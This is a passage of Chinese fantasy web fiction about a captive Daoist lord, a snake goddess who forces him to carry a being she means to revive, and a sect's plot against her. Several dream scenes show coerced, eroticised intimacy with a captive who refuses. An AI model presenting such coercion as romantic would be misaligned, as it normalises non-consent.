真身是莲,该是出淤泥而不染,而不是如今这般,浑身上下被她玷污,全都是她的气息,甚至还被她用某种手段弄出了一颗还未长大的种子。 成镜抬手捂住双眼,不去看隆起的腹部。 尝试过各种方法,每每将要将那东西摧毁时,脑海中总会响起一道声音,即使只有一个字,也能感觉出声音的害怕无助与委屈。 那个声音一直在说疼。 声音一响,无论动手之前再坚定,都会不忍再动手,随后用来摧毁那东西的力量全都变得柔和,被吸收。 成镜没法仔细分析肚子里的是什么东西。看到隆起的腹部那一瞬间,那两个字占据脑海,甚至有一刻还荒谬地想到——他成了月神的生父。 捂住眼的手力道加重,指腹用力按住脸,他似乎感觉不到痛。按在脸上的痛怎么比得上她带来的屈辱。 他该解决这场闹剧了。 她身负重伤,而自己实力已经恢复到接近羿虚境,再过几晚,便能恢复到巅峰期,届时他会带着邪神的头颅回到道宗,昭告天下,世间再无邪神。 而他,只需回自己的重莲殿,静待雷劫到来。不会有人知道他被邪神囚禁后发生了什么。 成镜如是想到,松开手,双眸睁开,杀意释放。 他盘腿坐在莲台上,双手结印,莲台上花瓣开始生长,浸入水中,去捞那个将死之人。 远远望去,男人的背影笔直挺拔,一身白衣如谪仙。 但来到他面前时,宽大的衣袍下腹部隆起。仔细看便能发现他的身体稍微往后仰着,连双手结印的动作都要避开腹部。 背影是仙,正面如怀胎八月,反差太大,任谁看了都觉得匪夷所思。 花瓣找到沉没于海水中的女子,将她卷起来,带到海面。不知是在水里泡得太久,她的脸色惨白,唇也没什么血色。感觉不到她的呼吸,她好似已经死了。 花瓣几乎将她全身包裹,紧得不留一丝空隙,将她送到成镜面前,露出脆弱的脖颈。 他与莲台共感,花瓣将触碰她身体的感觉传过来,当然能感觉到她玲珑有致的身体曲线,甚至还有她身上气味。不同于之前嗅到的混杂莲香的清新气味,而是一种潮湿之感,一嗅上去,宛如坠入冰窟,无法呼吸。 成镜意识到不对劲,立刻松开她,花瓣回缩,将他保护在内。 花瓣合拢的一瞬间,女子的身影被一条黑蛇取代,翠绿竖瞳睁开,扫视周围,很快捕捉到自己的猎物,盯着那包裹的莲花,盘了上去。 那莲花足足有两人高,黑蛇只能缠住一半。 她很快意识到自己身体太小,没法完全缠住,胀大身形,一圈一圈绕上去,将莲花缠紧,脑袋往花苞里钻,尾巴尖兴奋地拍打花瓣。 伴生莲的防御能力要比灵力凝出的莲花更强,上次从里面无法击破,这次是在外面没法摧毁。 她试了很多次都没有进得去,逐渐没了耐心,直接张口去吃花瓣。 里头的人身子一颤,下意识捂住胸口,密密麻麻似痛又似痒的感觉从胸口荡开,不等他缓神,又是一处泛起同样的感觉。 黑蛇还欲再咬时,花瓣忽然消散,她咬了个空,低头一看,只见莲台上一人盘腿而坐,对自己怒目圆睁,手臂匆忙地抬起挡在身前。 “你何必再戏弄我!” 黑蛇歪了歪脑袋,没听进去他的话,紧紧盯着他腹部位置,那里有微弱的亮光,一闪一闪的,尤为吸引她。 她变小身形,手臂粗细,脑袋穿过他宽大衣袖,轻轻覆盖在他隆起的腹部上,下一秒被人打开。 她也不恼,尾巴从他身后穿过,缠住他双手,叫他动弹不得,蛇身稍稍用力,就将人压倒在莲台上。 她满意地再次凑上去,脑袋蹭蹭那有闪光的位置,感知了会,竖瞳收缩,直起身子去看被压倒的人,尾巴尖尤为兴奋地摇晃。 即使她没有说话,成镜也知道她此刻想说什么。 不管怎么藏,都会被她发现。这里是梦境,一切都由她操控。 怒火与恨意交织,他不知为何这次进来自己的身体会变成这副模样,难道她心心念念着想他快些孕育月神,好再次相见吗? 尽管现实世界他腹部并非变化这么明显,但肚子里有这么一个异物,已经是不可抹去的事实。 成镜不想去看她的眼,甚至想此刻就拉着她一起去死。 他确实已经准备与她同归于尽,带着她带给自己所有的屈辱,死在还未被世人发现他被玩弄前。 成镜闭上眼,抱着必死的心,不再挣扎。所有灵力往灵海凝聚,额间的莲花印记闪烁,荧光越来越亮。 忽然一道湿润的触感从眉心传来,似乎有什么东西在他眉心来回触碰,湿湿的,还有一丝温热。 他呆滞了一瞬,连蓄积灵力都忘了。再次感知到那湿润在往下,停留在印记的位置。 睁开的眼被她的唇占据,意识到她在做什么的那一刻,成镜没能控制得住自己,一把推开已经变回人形的她,连连后退。 笨重的身体没法做大幅度动作,只能控制莲台悬浮,离她远些,再远些。 掌心按住眉间用力擦拭,明明眉心的水渍已经被擦干净,但那湿润的感觉犹如刻在上头,怎么都擦不走。 她怎么敢的,她怎么能—— 他该说她本体是妖,没有道德感,也不会觉得羞耻,所以才肆无忌惮地对他做这种事? 气得想笑,额间青筋蔓延到太阳穴,突突跳。成镜狠狠擦拭眉心,甚至那一处都被擦红破皮,都没法掩盖她方才举动带来的羞耻。 气得气息不稳,呼吸间又见隆起的腹部,更是想立刻将她杀了。 他盯着底下站在凝结成冰的水面上的女子,后悔自己为何没有掐死她。 他再次动手,眉间莲花印记光芒大放,下一瞬变得暗淡,莲台忽然消散,没了支撑,成镜身子下坠。 只一眨眼,女子那张变换过的脸映入眼帘,随之而来的,是她坚硬如铁的双臂。 北溯稳稳接住他,看到他无法再掩盖的肚子,不知想到什么,一手攥住他衣领,刺啦一声,衣衫尽碎。 那孕育生命的腹部毫无遮拦地显露在她面前。 成镜整个人已经没有反应,只看着她的脸。那双倒映出女子身影的眼眸轻轻眨了眨,似乎有什么东西滑落,隐没到他发间。 隆起的肚子被她碰到,成镜用力掐住她手腕,被她按下,他能感受到她冰凉的身体贴上自己的肚子,甚至在她将力量灌入进来时,感知到腹中那被孕育的生命满足地叹息,甚至还有神魂交融时难以启齿的酥麻。 他不懂,她的目的已经达成,为何还要再来一次? 就这么想看到他被拉入欲望之海,看到他堕落,看他被逼得疯狂吗? 清醒地感知到她落下时一次又一次碰到肚子,力道不重,也不会伤到肚子里的东西,但每一次,都像是被凌迟。 这分明是逼迫,可带来的感觉极容易引人深陷。 意识清醒,知道她在做什么,也知道她为了谁而这么做,可反抗的力气越来越弱,莲印不知被她做了什么手脚,没法自爆。 恨意与迷茫交织的眼眸倒映出她的身影,只要她低头去看,便能瞧见这双丹凤眼里逐渐被绝望笼罩,便是杀意与恨都不及这绝望一分。 她似乎察觉到他状态不对劲,终于大发慈悲看他一眼。 男人双眼在水中浸泡过一般,满是水汽,长睫被水汽缠上,无力地垂下,眼尾殷红,薄唇紧抿,喉结滚动,发现她在看自己,手臂抬起,遮住双眼。 似乎这样就能掩盖她对他做的事。 她看了好一会,目光从被他挡住的眼游移到还在滚动的喉结上,盯着喉结看了好一会,忽然俯身,一口咬住。 男人闷哼一声,被刺激得眼尾溢出泪。 他用另外一只手推她的脑袋,声音脆弱得稍微一碰就碎。 “你——” 得到的却是喉结上传来湿润的感觉。 成镜当即绷紧身体,双手握拳,喉结边上就是脆弱的血管,她只要再咬一口,他就会鲜血喷溅。 然而她没再碰,去看他此刻的反应,手臂遮着脸,她看不清,抬手就去掰人家胳膊。 成镜手臂用力,不让她得逞。 她不耐烦了,直接咬他锁骨。衣衫早已碎裂,她想怎么做就怎么做。 成镜觉得自己快要被她折磨疯了,她现在的举动与发狂的猛兽没什么区别,不顺她的心意就要动手,把他折磨得缓不过来,她倒是跟玩似的,弄得先前看着像死了一样的人不是她一样。 下一波力量灌进来,成镜没法去形容那感觉,他羞于启齿。 但她不高兴,她要在他身上看到反应,会令她觉得兴奋有趣的反应。 他学聪明了,忍着一丝声音也不发出。 直到她又碰到他的肚子。 那只遮住眼的手一把掐住她脖颈,另一手撑着冰面,仰起头,怒目而视:“你够了!” 他动作太猛,身体撑不住,又倒了回去,无力地喘息。 掐住她脖颈的手松了些,方要松开时,被一只冰凉的手反握住,一道戏谑的声音响起,成镜浑身一冷。 “原来你现在怕这个。” 北溯倒是得谢谢他刚才那一手,将自己理智拉回来,不然接下来不知道还要对他做些什么。 她刺骨的眼神钉在他隆起的肚子上,笑了。 “道君现在的弱点不是月圆之夜,是怕被人看见自己大着肚子?”她颇为愉悦地看成镜脸色逐渐苍白,说:“那等道君要生那天,不如请人族所有修士过来,喝喜酒?” 成镜怒不可遏,这是羞辱,是蔑视,是狂妄。 他竭力控制自己,“不会有那么一天。” 北溯笑容依旧,身子压下,触碰他孕育鳞舞的地方,五指覆上。 既然已经开始,那就继续催化,昆仑的人不会等她修复好鳞舞,她必须先下手为强。 北溯朝他说:“那就要看道君表现了。”她将那只掐过自己脖颈的手放到他眼前,遮住他的双眼,随后更凶猛的力量灌入。 她看着他此刻破碎不堪,无意间透出的沉沦,胸膛下隆起的肚子,脑海中浮现一个念头。 这朵莲花,好像被她玩坏了。 …… 结界在第三天开了,北溯没有再给寝殿设置结界,她大致能推测出他实力恢复到快接近无妄境,再设置结界没有意义,只将他灵脉封锁,要想冲破封锁,需要耗费很长一段时间,足够她处理一些事。 她没有去妖界,幻化容貌用了隐息术去了道宗,如今道宗内没有她的暗线,她得知道道宗在谋划什么。 三日前七位仙尊重伤回道宗,天綪将所有储存的莲藕都 拿出来给仙尊们疗伤,看到那莲藕疗伤效果极好,甚是震惊。 道君从未说过莲藕还有疗伤之效,即使皮肉腐烂,抹上藕粉,也可在三日内重新生长好。 不过他们七位皆被捅穿心肺,要想彻底痊愈,三日不够。 待那三名仙尊从人界回来,天枢仙尊召集齐所有仙尊,问完他们的伤势恢复得如何,沉思过后,下令:“七日,七日后尔等伤势应是已经完全痊愈,届时尔等与本尊,宗主及各宗修士前往魔域,救回道君,铲除邪神!” “遵令!我等必将救出道君,铲除邪神,护三界安宁!” 天枢仙尊满意点头,转而看向天綪,道:“即刻起,你去通知各宗宗主,命他们牵制妖界,若有妖界救援魔域,就地格杀!” “切记,在七日后动手的那天前,不可透露半分。你只需告诉各宗宗主,让他们诛杀妖兽即可,若是能抓住妖王,再好不过。” 天綪跪地,俯身道:“天綪领命。” 天枢仙尊转身,看向身后石壁,那被万人供奉的神像位于最中央,那神像并无五官,看不出是谁。 他朝那神像俯身,跪拜:“愿神庇佑我等此次成功铲除邪神。” 还有一句话没有说出口。 若是能除邪神,我等必会完成诸神所愿。 道宗戒备森严,出入道宗都需检查命牌,且每日午时梵钟都会敲响三下。 北溯去了重莲殿,那里看着没什么变化,但少了些东西。那群老鼠居然还知道用莲藕疗伤,应是三百年前就在昆仑。 她将珩玲的铃铛重新挂在小破屋里,小破屋已经成了废墟,那一扇窗户还是好的。 北溯离开池塘时,瞥了眼被挖空的莲池,突然想将挖莲藕的人都杀了。 这群人也配用莲花养的藕? 只可惜没有多于的莲藕,不然带回去给莲花吃吃,不知道能不能补充些养分。 她可不想鳞舞早产或是营养不良。 不想被发现,她只在底下几重山探查了一圈,发现天綪下令叫他们去抓妖兽,具体原因没说。 北溯知道她想干什么。她先前是妖,兴许会有妖看在是同族的份上帮她。 昆仑来杀她,必然是阻拦越少越好。 但他们都猜错了,妖族可是巴不得她死。 北溯出了道宗,直接冲妖界而去,她也该告诉凤鸣,他要找的人在何处。 当她站在凤鸣面前,被红毛男人来来回回打量时,不耐道:“你看好了吗?” 凤鸣走到她面前站好,摇头:“我不相信,除非你把真脸给我看。” 北溯将他那晚给的所有画像扔到他手里,道:“你想看哪个,我变给你看。” 凤鸣看她半晌,一股脑将画像都烧了,冷哼一声:“你那天怎么不来找我?” “你说你发疯撞一重山被那朵莲花击退的那次?” 凤鸣仔细听她说的话,在脑海中重复数遍,挑出几个字,质问她:“那朵莲花?你们什么关系这么喊。” 以前和她混的熟的,她都会用本体指代,比如喊他喊那只鸟,还有喊那只鸡的,他们不过三百年没见,她就新认识了朵莲花? “人道君可厉害着呢,你没被他发现?”说完这句话,凤鸣使劲嗅了嗅鼻子,在她身上嗅到莲香,瞪着她:“你是不是干什么坏事了?你身上怎么有别人的味道!” 北溯不想跟他废话,刚要说明自己来意,就见他拔下一根翎羽要往她身上插,往边上一避,蹙眉问:“你做什么?” “还能干什么,把你身上难闻的气味盖住,我不喜欢这个味道。”他举起翎羽又动手,这次北溯伸手从他手里抽出来,看了眼翎羽,变成发簪收下。 这是他胸口位置的翎羽,蕴含他的力量,用来做武器很好用。 见她收下,凤鸣哼了一声,压住嘴角,问:“你要回来吗?我给你收拾房间,黎衣白在外头处理事还没回来,等她回来了我们三个聚聚……” 北溯扭头看他,纳闷:“你和雾漓见到我的反应区别挺大,他想杀我,你怎么还想和我聚聚” 凤鸣立刻炸毛,质问她:“你去见雾漓了?你见雾漓都不先见我!” 北溯挑眉,提醒他:“那晚你把我扔水里,我还没找你算账。” 她不说还好,一说凤鸣就气。 “那你怎么不说?故意骗我,还把我叫来当打手,你知道那几个人族修士有多难缠吗?” 北溯面无表情看他,朝他伸手。 “你要干嘛?” “再拔一根翎羽给我,我就不计较你把我扔水里。” 凤鸣抽了抽嘴角,一见她这样,后背发凉,拔了根翎羽给她,想起来一件重要的事,立刻问:“你是怎么出来的?” 翎羽在北溯手中变为发簪,她随口回了一句:“把棺材挖出个洞,钻出来的。” 谁知这傻子还真信了,盯着她的手看,声音能听出关心:“那你手岂不是很痛?” 北溯怔愣,忽然问:“你知道孕夫生孩子的时候,会疼吗?” “当然疼了,那可是从鬼门关走了一遭,我娘生我的时候——”声音戛然而止,凤鸣瞪着北溯,难以置信地吐出一句话,视线往她腹部瞟:“你……怀了?” 回答他的是脑袋被狠狠敲击。 “我看你可以试试怀一个。” 北溯往里走,忽略凤鸣的声音,直说自己来意:“昆仑要杀我。” 凤鸣立刻收了嬉皮笑脸,跟上她,低声问:“需要我帮你做什么?” 他们并肩往前,深入妖界。 日渐下沉,从殿门往外看,能瞧见山头夕阳的一角,很快那夕阳沉下去,晚霞笼罩,眼前景色美得如梦。 如同梦境中那场欢愉,醒来后,只有他一人。 成镜凝出干净的白衣,穿好,身体已经恢复正常,但在系腰带时,指尖一顿。 他勒紧腰带,看到腰带扣上的位置比以往往外多了些,他松开腰带,伸手去碰自己腹部。 阴暗的寝殿内,寂静得诡异。 成镜扔了腰带,站了很久,才换了身不用束腰的衣裳,走出去。 殿外没有她的身影,也没有结界。 她好似对他失去了兴趣,连禁锢阵都不设置了。 但她又封锁了他的灵脉,不可动用灵力做些攻击术法,但留了丝丝余地给他,也只能用来变换衣裳。 像是给他最后一块遮羞布。 成镜直接去魔宫找她,依旧没有见到她的身影,那里只有魔将乱舞,衣着暴露。魔将见到他,虎视眈眈,一个个地都想动手。 他闭了眼,直接问雾漓,声音含了冰渣一般:“她人呢。” 雾漓见他这副被人吃干抹净跑来要人负责的样,不想他好过:“你问殿下?” 他冷笑,毫不收敛地讽刺:“她玩腻你了,去妖界找新欢。” 话还没说完,那抹白色身影消失,雾漓啧啧一声,嫌弃道:“殿下看上他哪里了。” 魔将们面面相觑,仿佛得知什么惊天秘密一般兴奋不已。 回到寝殿,成镜等了许久,他也不知自己在等什么,当嗅到她的气味时,抬眼看过去。 女子没有一丝愧疚,见他还在,反而诧异。 “你在等我?” 成镜冷声问:“你去何处了?” 第33章 这不该是他会问出来的话。 北溯抬腿跨过门槛,站定。 天际最后一丝光亮照在她身上,给人一种朦胧飘渺之感,仿佛眼中看到的这个人是虚幻的,伸手去碰,就会消散。 这就是成镜看到她此刻的感觉。 “道君这么好奇?”北溯走过去,在他面前站定,仰头看他,没有错过他闪避的动作,目光转到他刻意用衣袖遮盖的腹部,说:“这不该是道君应该操心的事,你只需要将它生下来——” “不可能!” 他失控地说出这三个字,急促起伏的胸膛停滞,双眼泛红,看着她许久未说话。 北溯蹙眉,不懂他怎么反应这么大,前几次也不见他这么吼人。像是被惹毛了,也可能是这些天积攒的怒火一起爆发出来,总之他看起来很生气。 见人气还没消,她想了想,好像记得谁说过怀孕不能动怒,还是哄哄吧。 “我出去干正事。” 北溯觉得自己说的话没毛病,但一说完就被男人狠狠瞪了一眼,那眼神怒火里夹杂着几分幽怨,像是抓到妻子在外厮混不着家,看得北溯奇怪,她又没去干什么坏事,他用这种眼神看她干什么? 她耐心再哄一句:“别生气,动了胎气可不好。” 这一句一说,眼前男人连眼神都不给,转身背对她。 成镜只觉得自己难堪又无助,他不知道该如何打掉肚子里的东西,即使生来便知自己的身体可孕育生命,可真的孕育与知道是两回事。 起先他还能控制得住自己,清楚地记得她是人族要诛杀的邪神,记得自己应该在挣脱束缚后将她制服,交给昆仑。 而现在,他好似被她蛊惑,在她不在这几个时辰内,频频想起梦中她对自己做的一切。 身体交缠,光滑的鳞片缓缓摩擦肌肤,冰凉的触感令人战栗,却又忍不住凑得更近,用这冰凉降下身体里的火。 成镜从不知,自己也有被情欲缠身的时候,甚至不知该如何控制。从第一次被她带进欲海起,每次都是她先抽身而出,只留他一人在欲海中挣扎。 待梦醒,人去楼空,她想走就走,而自己永远都被丢弃。 即便他现在身体里有她心心念念要复活的人,她也依旧不会多在意一分。 成镜很想问她,她到底把他当成什么了—— 他抬手捂住脸,低低笑出来,他怎么忘了,那晚已经问过,她给的答案,是容器。 被当做复活旁人的容器。 成镜忽然觉得自己如同小丑,还跑去魔宫找人,一直等她回来。 他垂下掩面的手,几息间面色平静如常,一声不吭地走到往常待的地方,唤出伴生莲打坐。 他不该想这些无用的东西,破开灵脉封锁恢复实力,杀了邪神才是最重要的。 莲台上花瓣生长,将他温柔地包裹在内,隔绝北溯视线。 北溯倒是不担心他会短时间内破开灵脉封锁,只是诧异他怎么又不生气了,刚才那句话效果这么好? 不过刚才被他打岔,都忘了要去看鳞舞现在情况怎么样,昆仑那边一旦采取硬攻,她便没有足够的时间等待鳞舞在他体内正常生长,只能加快催化,但现在她…… 北溯看着这朵莲花,裹起来的莲花在殿内散发微弱的荧光,突然发现他的莲台不似之前那般洁白,根茎部分颜色深了些,淡淡的粉,很好看。 她欣赏了会,眉宇蓦地紧皱,一声闷哼被她压下,将涌到喉咙里的血吞咽回去,再看了一会莲花,才去床上躺下。 殿门关闭,殿内漆黑,仅有莲花散发的微弱之光。 成镜等没再听见声音后,才俯身捂住脖颈,抑制声音无声干呕,恶心不适来得太快,没闻见什么味道便想呕。 什么都没呕出来,弯腰的幅度太大,感知到腹部凸起,连干呕都忘了,身子僵滞,根本不想再看自己的身体。 他缓缓直起身,目光直视一个方向,试图用莲台提供的灵力去冲击封锁的灵脉。灵力进入身体,凝聚到一处,全力向一处冲击,封锁松动了片刻,但没有更多灵力支撑,这处松动很快消散,再次被封锁。 有希望,但很麻烦。 他继续吸收灵力,这一次是为蓄积足够将封锁冲开的灵力,一击取胜。 殿外皓月当空,已经不是完美的圆形,缺了四分之一,下一个月圆之夜,还有二十多天,但在这二十多天中,成镜的修为会缓缓恢复,达到巅峰,再慢慢削弱,如此轮回。 正常情况下再过两个月圆之夜,他便会迎来雷劫,参悟入神境奥秘,渡劫飞升。 但现在他会出现在魔界,已经是意外。 刺啦一声,有什么东西被撕裂,随后器皿摔碎的声音划破夜晚的宁静。 成镜睁开眼,对上那双翠绿竖瞳的瞬间,屏住了呼吸。 竖瞳没有任何感情,捕捉不到生机,只死死盯着,将眼前所见的活物当成食物,仿佛下一秒,就会吃了他。 但她没有动,眼睛也不眨,只这么盯着他。 成镜僵直着身子,没有动,余光扫过四周,他在一座高山上,不是寝殿内,心中了然,这里是梦境。 他重新将视线凝聚在这条黑蛇身上,除了那双竖瞳,其余位置全都被密密麻麻的黑色鳞片覆盖,纹理清晰,只看她身体一部分的鳞片,如同黑曜石般泛着光泽。 但稍微后退去看她全身时,心中只会生出震撼,恐惧。 巨大的身躯隐没在云海中,黑影若隐若现,她的身体足以轻易摧毁一座山,只是隐没在苍穹中,便已能窥见它的强大。 成镜低头看向自己,很快发现与上次进入她梦境一般,他能瞧见一切,但他们看不见他。 所以这一次,又是她与谁的过往? 远处御剑而来几名修士,待他们靠近,成镜认出这是先前在梦境中见过的那几名修士。他们此刻极其兴奋,冲那黑影吼叫:“异种裂缝就在灵道宗外五十里处,殿下您一定要将其驱赶,宗内百名弟子还有附近城池无辜百姓,全都靠您了!” 成镜抬头去看那黑影,想起那场梦境里,有名修士说过,她为人界驱逐异种。这便是她当初帮人界驱逐异种的那次? 苍穹中黑影迅速离去,那些修士御剑跟上。成镜顿了会,正准备尝试在梦境中使用法术,周围场景已经变化,离得苍穹极近,伸手便可触碰云层,连那异种裂缝都近在眼前。 黑紫色颗粒物质漫出来,往人群涌去,这东西混入人群里极难发现,不幸吸入的人很快出现异常,身体某个部位妖化,面色黑紫,见人就撕咬。 城内哀嚎遍野,人群四处逃窜,越来越多的人吸入,附近最近的宗门便是灵道宗,他们已经自顾不暇,哪还有余力管别人。 这应是成镜第一次看到一座城被异种摧毁,生灵涂炭。 他当即施展法术去救人,动手后意识到这已经发生过,且自己无法施展出法术,只能看着他们失去理智,被同化成异种。 从他修炼成人至今,不知异种因何而产生,听到的最多的说法,便是邪神引来的,她是一切灾难的源头。 但若是她引来的,她会出手去救他们? 眼前所见,根本不是一个肆意屠戮人界妖界的邪神会做出来的事。 黑蛇在云层间翻滚,乌云堆积,光线变暗,一道亮光自云层闪过,片刻后惊天炸雷响起,倾盆大雨坠落,冲刷万物。雨势大得如瀑布倾倒,一瞬间将万物冲湿,河水上涨,地面积水。 成镜听见有人在咒骂老天为何还要在这种时候下雨,他们已经被异种折磨得死伤无数,这雨下得眼睛睁不开,脚踩进水池里一般,积水没过脚踝,逐渐涨到小腿,更是提高了躲避异种怪物的难度。 连修士也不明白。 “她为何要引来雷雨?是想淹死他们吗?” “被感染成异种的人无法救回来,还有众多无辜之人,她为何要这么做?” 成镜起初不解,但他不会像他们那样还未弄清楚她的目的,便去质疑。 他发现了她的意图。 大雨冲刷了人身上的气味,靠气味攻击人的异种怪物无法准确捕捉到人味,动作逐渐缓慢迟钝,呆滞在原地。连那四散的颗粒物都凝滞了,缓缓消散。 这是她的办法。 但显然不明真相的人不会感谢她。 大雨仍旧在倾倒,异种裂缝闻不到人味,逐渐并拢,缓缓离开,而地面的异种怪物需要清理。 那黑影从成镜眼前闪过,不知是因为这里是她梦境的缘故,他总是能以最靠近她的角度看清她的状态。她身上的鳞片少了好几块,没有鳞片覆盖的位置,血肉模糊,血顺着鳞片下滑,宛如红色丝线。 成镜只来得及看一眼,便见她化作人身。 他盯着她的脸,视线跟随着她靠近那群修士,听着她对修士们吩咐接下来应该做些什么。 直到她的身影朝城池内而去,才收回目光。 这张脸,与他现在遇到的她,完全不一样,与他在上次梦境中见到她与月神相处的那张脸,也不一样。 她与月神相处时,用的是真容。 成镜垂眸望着在泥泞积水中厮杀异种的女子,眼睫久久未眨。没有任何思绪,只盯着那道身影,被异种包围,视线搜寻,很快找到挣脱围攻的她。 几乎所有异种都在攻击她,它们似乎忘记这里还有人族存在,没有修士去帮她,只去救人。 成镜能看到她身上的伤,被打湿的衣裳,说是看到并不准确,那是梦境直接将主人的身体感知传达给他,几乎同步。 所以他能感觉到她引来雷雨后,被世间规则惩罚受的伤,致使她动作比平常慢了些,险些被异种咬到。 但她没有离开,仍在驱逐异种。 成镜看不明白。 被规则惩罚所致的伤极难恢复,她会为了救人让自己背负如此重的代价,为何后人会称她为邪神? 刺眼的光射过来,成镜抬手去遮。 云销雨霁,异种裂缝被驱离,异种怪物在裂缝外无法停留太久,倒在地面,妖气溃散,恢复成原本的模样,只是全身黑紫,已经死了。 在他们变成异种怪物那一刻,已经不再是人,没有理智,记忆,情感。 只是怪物。 城内已经看不见她的身影,全都是人们感谢修士的声音,没有一人提到那只救了他们的妖。 修士也不解释,只接下他们的感谢,让他们振作起来,重建家园。 成镜仰头直视那曜日,有人说,所有污秽之物都会在阳光下无处遁形,可没有人去说,在阳光下行好事,会被人记住。 毕竟在这个世界,行好事的数量,远远大于污秽之物。 成镜闭眸,深呼吸,再睁开眼,瞧见眼前一幕的瞬间,往前迈了一步,旋即站定不动。 女子正在给自己包扎伤口,双臂上肉眼可见的被劈焦的伤,血滑到指尖,被她舔舐干净。 她伤得很重,但她一声没哼,只紧皱着眉,仿佛伤的不是自己。 她像是个矛盾体,一面痛恶人族,一面救人。 在这之后,她又遭遇了什么,才会成为人族口中十恶不赦的邪神? 成镜心中有太多的疑问,心知自己去问不会从她口中得到答案。也许在查出当年发生过的一切前,他不该杀了她。 心底浮现一个念头——先将她囚禁起来。 这个念头一出,他愣神望着眼前女子,有那么一瞬间,觉得自己疯了。不,他是要将她困住,以免她逃跑。她很强,那晚借昆仑镜威力蓄力一击都未能困住她,不困住她,她会跑。 直到查清一切,再处置她。 成镜如是想到,视线里的女子已经包扎好伤口,往外走。成镜没有跟上去,胸口的心脏不知为何跳得飞快,不知是不想再看她,还是因为自己方才要囚禁她的想法而心虚,想避开她。 但梦境是跟随主人变幻的,他不动,梦境在变。 眼前显现一棵参天巨树,树冠上站着一只七彩凤鸟,成镜很快认出来,那是妖王凤鸣的本体。 这里是妖界。 那只鸟飞下来,落地成人,跟在女子身后,把手伸到她面前打开,一根翎羽被献给她。 “这是我养的最好看的一根,给你了。” 那根化为发簪的凤凰翎羽在脑海中闪现,成镜看到她收了翎羽。他们果然认识。 她径直朝树干走去,那树干百人合抱都无法抱住,她的身影隐没,凤鸣被挡在外头进不去。 眼前景象又变,里头漆黑,只有两人。 她说:“异种可控,我的计划可以实施。” 成镜觉得自己很可笑,怎么就因为她救一次人,就会将她与邪神剥离开,她们分明就是同一人。 眼前梦境散开,不让他继续看下去,莲花内壁重新映入眼帘。 他在里头静坐良久,眼前仿佛闪现所有见过的她的过往,在道宗几人口中得知的当年之事。不知她出于何种目的救人,但“异种可控”这四个字,明显是拿人族去试验她的方法。 她救人不假,有所图谋也真。 思绪纷乱,很想再进一次梦境,将后面发生的事看完。 不该只因为一句话而推翻先前所有猜测,他该弄清楚真相,更何况那群修士只口不提是她承受规则惩罚引来雷雨,驱赶异种裂缝,正道之士尚且有所隐瞒,她做了什么,更不会大肆宣扬。 世间万物,应用眼去看,用心去听,是非黑白,不能以旁人所说作为标准。 这一刻思绪顿时明了,有什么东西隐隐要破出迷障,却又没法一次冲破而出,只能等下一次蓄积更多的力量。 成镜起身步出莲花,下意识忽略身体异样,莲台归入体内,他朝躺在床上的人靠近,站在边上,垂头看她。 听不见她的呼吸声,也看不出她胸口起伏,像是死了。 与上次看到她漂浮在水面一样,看着毫无防备,随手就能杀死,但这只是假象。 只要她感觉到致命危险,便会立刻反扑。他不想自己好不容易积攒的灵力被她发现,只可慢慢来。 谁知她忽然睁开了眼,盯着他说:“道君不困么?” 成镜已经很多次看到这双眼忽然睁开,没有被发现的慌乱,只说:“你受伤了。” 他试过,只有她的血腥味会引起自己干呕,他自己的血无用,那群魔将身上的气味也无用。 北溯一愣,直起身跪坐在床上,仰头看他:“你怎么知道。” 问完这一句,又问一句:“你在关心我?” 问完也没得到他回答,只觉得他很奇怪,看过来的眼神很是复杂,想到休息前他生气质问,拿出凤鸣给的翎羽递给他,道:“喏,送你。” 他看也不看一眼,掉头就走,直接走向殿门。 北溯将手中翎羽甩出去,深深插进门中,尾端在成镜眼中颤动。 “你要去哪?” 这次轮到他说那句:“我要去何处,需要与你说吗?” 北溯皱眉看他,见他抬手就去开门,瞬息间来到他面前,一手将他开了一条缝的门按回去,抓住他肩膀就往床上扯。 “道君这么有精神,我们不如来做点别的。” 那人一掌拍过来,凌厉的掌风比起前几次蕴含的威能大了许多。 她转身一避,扣住他手腕,散了他这一掌的威能,法力探入他身体,感知到灵脉还被封锁着,但蓄积了很多灵力。再这样下去,他会冲破灵脉,那时他实力恢复,定然比现在强数倍,再想封住他灵脉,很难。 距离她上次用神魂之力催化他已经过去差不多一天时间了,是时候再次催化,她等不了了。 北溯扣住他身体,正要束缚住他双臂时,他不知哪来的力气,反身一转,将她压制住,长发倾落到脖颈,冰凉冰凉的。 压低的声音响在耳畔:“你受伤了。” 北溯放松身体,在他有松开自己的苗头时,立刻爆发,两手攥住他双手,脚下用力扫过他双腿,一个翻身将人压倒在床上。力气没收着,倒下的时候下巴磕到他,她没注意。 她将他双臂交叉压在他胸口,看他挣扎,轻声道:“道君不会是以为我受伤了,就没法对付你?” 成镜蹙眉,偏头不看她,不再挣扎。 北溯瞧见了他脸上一闪而过的痛色,低头看了眼他被禁锢的双手,没把人弄骨折也没出血,他痛什么? 片刻后她立刻松开他,身子后退,往他腹部看,还没看到自己想看的,男人就直起身下床,走得相当平稳。 没事就好。 她动了动手,将人带入梦境中。 看到他脚步停下,北溯没有走过去,而是问他:“道君想解脱吗?” 成镜没有动。 她又问:“道君想快些解脱吗?” 她说得很慢,声音轻柔,诱惑着他:“我可以帮 你快些生下来,只要你配合我。” 北溯可以强来,但她无法保证成镜不会突然挣脱封锁,给她致命一击,他若是能主动配合些,也能省些力气。况且确实如他所说,她受了伤,还没好全。 “只需你再配合我两次,便能解脱。” 只需两次,多么诱人,只要他承受这两次,便可结束一切屈辱,重新做回他那风光霁月的道君。 北溯等待着他的答案,但只得到两个字。 “做梦。” 那没办法了,软的不吃,她只能来硬的。 脚下冰面消融,他似乎早有准备,唤出莲台托着他悬浮。 北溯直接站到他的莲台上,飞快抵住他眉心,神魂进入他灵海内。 这一次,她在他灵海内那朵盛开的莲花上,看到了一颗椭圆形的只有拇指大小的东西,外壁白皙,与剥了皮的莲子很像。 分明没有接触到,但她依旧能感觉到熟悉的气息。 她愣神看了会,低低喊出声:“鳞舞……” 身后一股强大气息逼近,那人在她耳畔质问:“你又在唤谁的名字?” 北溯当即出了他灵海,对上他抬起的眼帘,那双眼裹挟着讽刺,薄唇张开,笑她:“怎么,你不敢了?” 北溯忘了这一茬了,他的灵脉被封锁,但在他的灵海内,神魂与身体分离,不受灵脉封锁限制,方才他突然靠近,连气息都未察觉到,他怕是已经恢复到无妄境,很快便会回到入神境,届时要想催化,更麻烦了。 鳞舞已经成型,莲花上那颗类似莲子的东西就是它。这几天必须要完成催化,只需两次便能彻底结束。 她重新逼近他,接受他的挑衅:“我怎么会不敢。” 